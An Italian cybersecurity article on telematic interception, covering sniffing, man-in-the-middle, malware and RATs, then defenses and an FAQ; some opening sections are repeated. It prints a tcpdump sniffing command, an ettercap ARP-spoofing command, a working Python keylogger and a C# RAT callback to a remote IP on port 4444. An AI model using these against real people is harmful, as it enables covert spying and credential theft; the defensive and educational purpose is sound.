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Novità

Intercettazioni telematiche: cosa sapere

In questo articolo approfondiremo il tema delle intercettazioni telematiche, spiegando cosa sono, come funzionano e quali sono le differenze tra intercettazione attiva e passiva. Vedremo anche quali metodi vengono utilizzati per intercettare comunicazioni digitali e quali strategie adottare per proteggersi.

Chiavi crittografiche

Indice dei contenuti

  • Cosa sono le intercettazioni telematiche
  • Differenze tra intercettazione telematica attiva e passiva
  • Tipologie e metodi di intercettazione telematica
  • Come difendersi dalle intercettazioni telematiche
  • Proteggersi dalle intercettazioni digitali: tecniche e consigli
  • Formazione e consapevolezza

Cosa sono le intercettazioni telematiche

Con il termine intercettazione telematica si intende l’attività di captazione, registrazione e analisi delle comunicazioni digitali che viaggiano attraverso la rete o i dispositivi elettronici.

Si tratta di una tecnica utilizzata sia in ambito giudiziario, con finalità investigative, sia da criminali informatici per spiare conversazioni private, trafugare dati sensibili o monitorare attività online.

A differenza delle classiche intercettazioni telefoniche, le intercettazioni telematiche coinvolgono qualsiasi tipo di comunicazione digitale: email, chat, chiamate VoIP, traffico di rete e perfino i dati trasmessi dalle app di messaggistica.

Differenze tra intercettazione telematica attiva e passiva

Quando si parla di intercettazione telematica, è fondamentale distinguere tra due modalità operative: attiva e passiva.

  • L’intercettazione telematica attiva consiste nell’intervento diretto sui sistemi di comunicazione. Chi effettua questo tipo di intercettazione installa, spesso con un attacco informatico, un software spia all’interno dei dispositivi della vittima, come ad esempio un malware o un keylogger. Questo consente di monitorare in tempo reale tutto ciò che la vittima scrive o riceve, senza bisogno di captare i dati in transito sulla rete.
  • L’intercettazione telematica passiva, invece, avviene senza la necessità di compromettere il dispositivo della vittima. In questo caso l’attaccante si limita a osservare e registrare il traffico di rete mentre transita tra i server e i dispositivi. Un classico esempio è lo sniffing del traffico Wi-Fi non protetto o l’intercettazione di pacchetti dati su una rete pubblica.

Tipologie e metodi di intercettazione telematica

Esistono diversi strumenti e tecniche per effettuare un’intercettazione telematica, alcuni dei quali molto sofisticati e difficili da individuare. Tra i principali metodi troviamo:

  • Sniffing del traffico di rete
    Consiste nell’utilizzo di software in grado di captare i pacchetti dati che viaggiano su una rete, come Wireshark o Tcpdump.
  • Man-in-the-Middle (MitM)
    Una tecnica che permette all’attaccante di inserirsi tra due interlocutori digitali, intercettando e talvolta modificando le comunicazioni.
  • Installazione di malware
    In questo caso l’attaccante compromette il dispositivo della vittima con software malevolo capace di registrare attività, digitazioni e file trasferiti.
  • Backdoor e Remote Access Trojan (RAT)
    Strumenti che consentono l’accesso remoto e nascosto al dispositivo della vittima, facilitando l’intercettazione telematica attiva.
  • Intercettazione VoIP e videochiamate
    Attraverso vulnerabilità nei protocolli o applicazioni poco sicure, è possibile registrare chiamate e videoconferenze.

Come difendersi dalle intercettazioni telematiche

La difesa contro le intercettazioni telematiche richiede una combinazione di buone pratiche digitali e strumenti di sicurezza. Ecco alcuni consigli efficaci:

  • Utilizzare connessioni cifrate: preferire sempre siti web con protocollo HTTPS e utilizzare VPN affidabili per proteggere il traffico di rete.
  • Tenere sempre aggiornati sistemi operativi e software, riducendo il rischio di vulnerabilità sfruttabili da malware e RAT.
  • Evitare l’utilizzo di reti Wi-Fi pubbliche non protette o sconosciute.
  • Adottare soluzioni di antivirus e antimalware professionali, capaci di rilevare eventuali attività sospette.
  • Prestare attenzione ai tentativi di phishing e non installare software provenienti da fonti non attendibili.
  • Utilizzare strumenti di autenticazione a due fattori e password robuste per rendere più difficile l’accesso non autorizzato.

Anche la formazione e la consapevolezza dell’utente sono fondamentali per prevenire attacchi basati sull’intercettazione telematica. Saper riconoscere comportamenti anomali o segnali di compromissione può fare la differenza.

Cosa sono le intercettazioni telematiche

Con il termine intercettazione telematica si intende l’attività di captazione, registrazione e analisi delle comunicazioni digitali che viaggiano attraverso la rete o i dispositivi elettronici. Si tratta di una tecnica utilizzata sia in ambito giudiziario, con finalità investigative, sia da criminali informatici per spiare conversazioni private, trafugare dati sensibili o monitorare attività online.

A differenza delle classiche intercettazioni telefoniche, le intercettazioni telematiche coinvolgono qualsiasi tipo di comunicazione digitale: email, chat, chiamate VoIP, traffico di rete e perfino i dati trasmessi dalle app di messaggistica.

Differenze tra intercettazione telematica attiva e passiva

Quando si parla di intercettazione telematica, è fondamentale distinguere tra due modalità operative: attiva e passiva.

  • L’intercettazione telematica attiva consiste nell’intervento diretto sui sistemi di comunicazione. Chi effettua questo tipo di intercettazione installa, spesso con un attacco informatico, un software spia all’interno dei dispositivi della vittima, come ad esempio un malware o un keylogger. Questo consente di monitorare in tempo reale tutto ciò che la vittima scrive o riceve, senza bisogno di captare i dati in transito sulla rete.
  • L’intercettazione telematica passiva, invece, avviene senza la necessità di compromettere il dispositivo della vittima. In questo caso l’attaccante si limita a osservare e registrare il traffico di rete mentre transita tra i server e i dispositivi. Un classico esempio è lo sniffing del traffico Wi-Fi non protetto o l’intercettazione di pacchetti dati su una rete pubblica.

Tipologie e metodi di intercettazione telematica

Le tecniche di intercettazione telematica sono numerose e sempre più raffinate. Gli attaccanti, siano essi criminali informatici o agenzie governative, utilizzano strumenti che permettono di spiare o registrare comunicazioni digitali, spesso senza che la vittima se ne accorga. Vediamo nel dettaglio le principali tipologie, con esempi pratici e codice dove possibile.

Sniffing del traffico di rete

Lo sniffing è una delle tecniche più diffuse e semplici. Consiste nell’intercettare i pacchetti dati che viaggiano su una rete, in particolare su reti non protette (come quelle Wi-Fi pubbliche) o reti LAN condivise.

Uno degli strumenti più noti è Wireshark, che permette di analizzare in tempo reale il traffico dati. Anche strumenti da riga di comando come Tcpdump vengono ampiamente utilizzati.

Ecco un esempio pratico di sniffing con Tcpdump:

sudo tcpdump -i eth0 port 80

Questo comando cattura tutto il traffico HTTP sulla scheda di rete eth0. Ovviamente, oggi la maggior parte dei siti utilizza HTTPS, ma molte app e servizi minori inviano ancora dati non cifrati.

Esempio
Un attaccante collegato alla stessa rete Wi-Fi di un bar potrebbe catturare le credenziali di un’app che non usa HTTPS.

Man-in-the-Middle (MitM)

La tecnica Man-in-the-Middle permette all’attaccante di posizionarsi tra due interlocutori digitali e intercettare (o addirittura manipolare) le comunicazioni.

Un esempio pratico è l’utilizzo dello strumento Ettercap per un attacco MitM in rete locale:

ettercap -T -q -i eth0 -M arp:remote /192.168.1.10/ /192.168.1.1/

In questo caso, l’attaccante avvia un attacco ARP spoofing tra la vittima (192.168.1.10) e il gateway (192.168.1.1), intercettando tutto il traffico tra i due.

Scenario reale
Un attaccante in una rete aziendale potrebbe intercettare le credenziali di accesso a un gestionale interno sfruttando un attacco MitM.

Installazione di malware

L’intercettazione attiva tramite malware è una delle tecniche più invasive. L’attaccante compromette il dispositivo della vittima installando software spia come keylogger, screen recorder o backdoor che registrano tutto ciò che avviene sul sistema.

Esempio di keylogger in Python (versione semplificata e dimostrativa):

from pynput import keyboard

def on_press(key):

    with open("log.txt", "a") as f:

        try:

            f.write(f'{key.char}\n')

        except AttributeError:

            f.write(f'{key}\n')

with keyboard.Listener(on_press=on_press) as listener:

    listener.join()

Questo semplice script registra ogni tasto premuto dall’utente e lo scrive in un file di log.

Scenario reale
Un attaccante potrebbe allegare un malware come questo a una finta email di fatturazione e, una volta eseguito, avrebbe accesso a tutte le password digitate dalla vittima.

Backdoor e Remote Access Trojan (RAT)

I Remote Access Trojan (RAT) sono programmi che consentono all’attaccante di controllare da remoto il dispositivo compromesso. Una volta installato, il RAT permette di:

  • Visualizzare lo schermo in tempo reale
  • Registrare l’audio o la webcam
  • Scaricare e caricare file
  • Registrare la digitazione dei tasti

Un RAT famoso è QuasarRAT, molto usato per campagne di spionaggio industriale.

Esempio tecnico (C# – frammento reale di QuasarRAT):

public static void Connect()
{
    TcpClient client = new TcpClient("192.168.1.100", 4444);
    NetworkStream stream = client.GetStream();
    // Handle command reception and execution
}

Scenario reale
Un gruppo hacker potrebbe compromettere i computer di un’azienda con un RAT per spiare progetti riservati.

Intercettazione VoIP e videochiamate

Anche le chiamate VoIP e le videochiamate possono essere oggetto di intercettazione telematica. Gli attaccanti possono sfruttare vulnerabilità nei protocolli SIP, RTP o in app non adeguatamente cifrate.

Ad esempio, strumenti come Wireshark permettono di ricostruire l’audio di una chiamata intercettando i pacchetti RTP:

sudo tcpdump -i eth0 port 5060 or port 10000-20000

Questo comando cattura il traffico VoIP (SIP + RTP), che può poi essere decodificato.

Scenario reale
In una conferenza aziendale riservata via VoIP, un attaccante interno potrebbe registrare l’intera riunione e rivendere le informazioni a competitor.

Come puoi vedere, le tecniche di intercettazione telematica spaziano da strumenti amatoriali a metodi altamente sofisticati. Alcuni richiedono la compromissione diretta dei dispositivi, altri semplicemente l’accesso alla rete locale. Per questo motivo, la consapevolezza dei rischi e l’adozione di misure di sicurezza efficaci sono fondamentali per qualsiasi azienda o utente che voglia proteggere la propria privacy.

Sicurezza e rischi della firma digitale

Proteggersi dalle intercettazioni digitali: tecniche e consigli

Proteggersi dalle intercettazioni telematiche non significa solo installare un antivirus, ma adottare un insieme di strategie, buone pratiche e strumenti tecnici. Nessuna soluzione è efficace da sola: occorre lavorare su più fronti, dalla configurazione dei dispositivi all’educazione digitale dell’utente.

Vediamo nel dettaglio i metodi di difesa più efficaci, con esempi concreti.

  • Utilizzare connessioni cifrate
    Il primo passo per difendersi è proteggere il traffico di rete. Ogni comunicazione dovrebbe avvenire attraverso connessioni cifrate, in modo da impedire che un eventuale sniffing renda leggibili i dati intercettati.

Esempio pratico: HTTPS e VPN
Quando navighi su siti web, assicurati che l’indirizzo inizi sempre con https:// e che il browser non segnali problemi di certificato. Per proteggere tutto il traffico, soprattutto su reti pubbliche, è fondamentale usare una VPN.

Esempio di connessione VPN con OpenVPN:

sudo openvpn –config /path/to/config.ovpn

Una VPN cifra tutto il traffico verso l’esterno, rendendo quasi inutili gli attacchi di sniffing su reti pubbliche.

  • Tenere aggiornati sistemi e software
    Un sistema non aggiornato rappresenta un bersaglio facile per chi vuole installare malware, RAT o sfruttare vulnerabilità note.

Esempio pratico: aggiornamento su Linux

sudo apt update && sudo apt upgrade -y

Su Windows o macOS è importante attivare gli aggiornamenti automatici e controllare periodicamente la disponibilità di patch di sicurezza.

  • Evitare reti Wi-Fi non protette
    Le reti Wi-Fi pubbliche e prive di password sono uno dei luoghi ideali per avviare un’intercettazione passiva del traffico. Se proprio devi utilizzarle, attiva sempre la VPN.

Suggerimento pratico
Se non puoi usare una VPN, evita di accedere a servizi sensibili (email, home banking, social network) quando sei connesso a reti aperte.

Utilizzare soluzioni antivirus e antimalware
Un buon antivirus o antimalware non serve solo a bloccare virus, ma può anche identificare:

  • Keylogger
  • Remote Access Trojan (RAT)
  • Backdoor
  • Software di screen recording sospetti

Strumenti consigliati:

  • Windows Defender (potenziato con configurazioni avanzate)
  • Malwarebytes
  • ClamAV (per utenti Linux)

Esempio di scansione con ClamAV:

clamscan -r /home/user

  • Fare attenzione al phishing e al social engineering
    Molti attacchi di intercettazione telematica attiva iniziano con un semplice tentativo di phishing. Una mail, un messaggio su WhatsApp o LinkedIn che invita a cliccare su un link o scaricare un allegato possono installare un malware invisibile.

Segnali tipici di phishing:

  • Mittente sconosciuto o insolito
  • Errori grammaticali e ortografici
  • Link che portano a domini sospetti

Esempio di analisi di un link sospetto su terminale:

host suspicious-link.com

whois suspicious-link.com

  • Autenticazione a due fattori e password robuste
    Usare password semplici o la stessa password su più servizi è un invito agli attaccanti. Se un cyber criminale riesce a intercettare le tue credenziali, la presenza di un secondo fattore di autenticazione (2FA) può impedirgli di accedere.

Consiglio pratico
Utilizza app come Google Authenticator o Authy, evitando l’SMS che può essere intercettato.

Monitorare segnali di compromissione

L’utente deve imparare a riconoscere i sintomi di un dispositivo compromesso:

  • Rallentamenti improvvisi
  • Applicazioni sconosciute installate
  • Webcam o microfono che si attivano da soli
  • Accessi insoliti agli account

Esempio di verifica accessi sospetti su Google:
Accedi a https://myaccount.google.com/security e controlla la voce Dispositivi connessi.

  • Limitare i permessi delle app
    Molti malware si nascondono in app apparentemente legittime, che però richiedono permessi eccessivi.

Suggerimento
Su Android, vai su Impostazioni > Privacy > Gestione autorizzazioni e rimuovi l’accesso a microfono, fotocamera e posizione per le app che non ne hanno bisogno.

  • Utilizzare firewall personali
    Un firewall impedisce connessioni in entrata e in uscita non autorizzate, bloccando il tentativo di comunicazione dei malware installati.

Esempio pratico su Linux:

sudo ufw enable
sudo ufw default deny outgoing
sudo ufw allow out to any port 443 proto tcp

Queste regole impediscono qualsiasi traffico in uscita tranne quello verso HTTPS.

Formazione e consapevolezza

Infine, la formazione dell’utente resta la misura difensiva più efficace. Nessun antivirus potrà difenderti se clicchi su un allegato sospetto o se inserisci le tue credenziali su un sito malevolo.

Organizzare corsi di cyber security awareness in azienda o dedicare tempo all’aggiornamento personale può ridurre drasticamente il rischio di cadere vittima di intercettazione telematica.


Domande e rispose

  1. Cosa si intende per intercettazione telematica?
    L’intercettazione telematica è la captazione e registrazione di comunicazioni digitali, come email, chat e chiamate online.
  2. Qual è la differenza tra intercettazione attiva e passiva?
    L’intercettazione attiva prevede l’installazione di software spia sul dispositivo della vittima; quella passiva intercetta i dati in transito sulla rete.
  3. Chi può effettuare un’intercettazione telematica?
    Può essere eseguita dalle autorità giudiziarie su autorizzazione o da criminali informatici per fini illeciti.
  4. È legale intercettare comunicazioni digitali?
    Solo le autorità competenti, in ambito investigativo e con autorizzazione del giudice, possono effettuare intercettazioni telematiche.
  5. Quali sono i rischi di un’intercettazione telematica non autorizzata?
    Violazione della privacy, furto di dati sensibili, accesso a informazioni personali o aziendali riservate.
  6. Come avviene l’intercettazione passiva?
    Attraverso strumenti di sniffing che captano il traffico dati senza intervenire direttamente sui dispositivi.
  7. Cosa posso fare per proteggermi?
    Utilizzare VPN, antivirus, software aggiornati e prestare attenzione ai tentativi di phishing.
  8. Come riconoscere se sono vittima di intercettazione?
    Rallentamenti del sistema, comportamenti anomali dei dispositivi o notifiche di accessi sospetti possono essere segnali d’allarme.
  9. Cosa sono i Remote Access Trojan (RAT)?
    Sono software malevoli che consentono l’accesso remoto e nascosto a un dispositivo, facilitando l’intercettazione telematica attiva.
  10. Le intercettazioni telematiche possono colpire anche le aziende?
    Sì, le aziende sono spesso bersaglio di intercettazioni telematiche per il furto di dati sensibili e segreti industriali.
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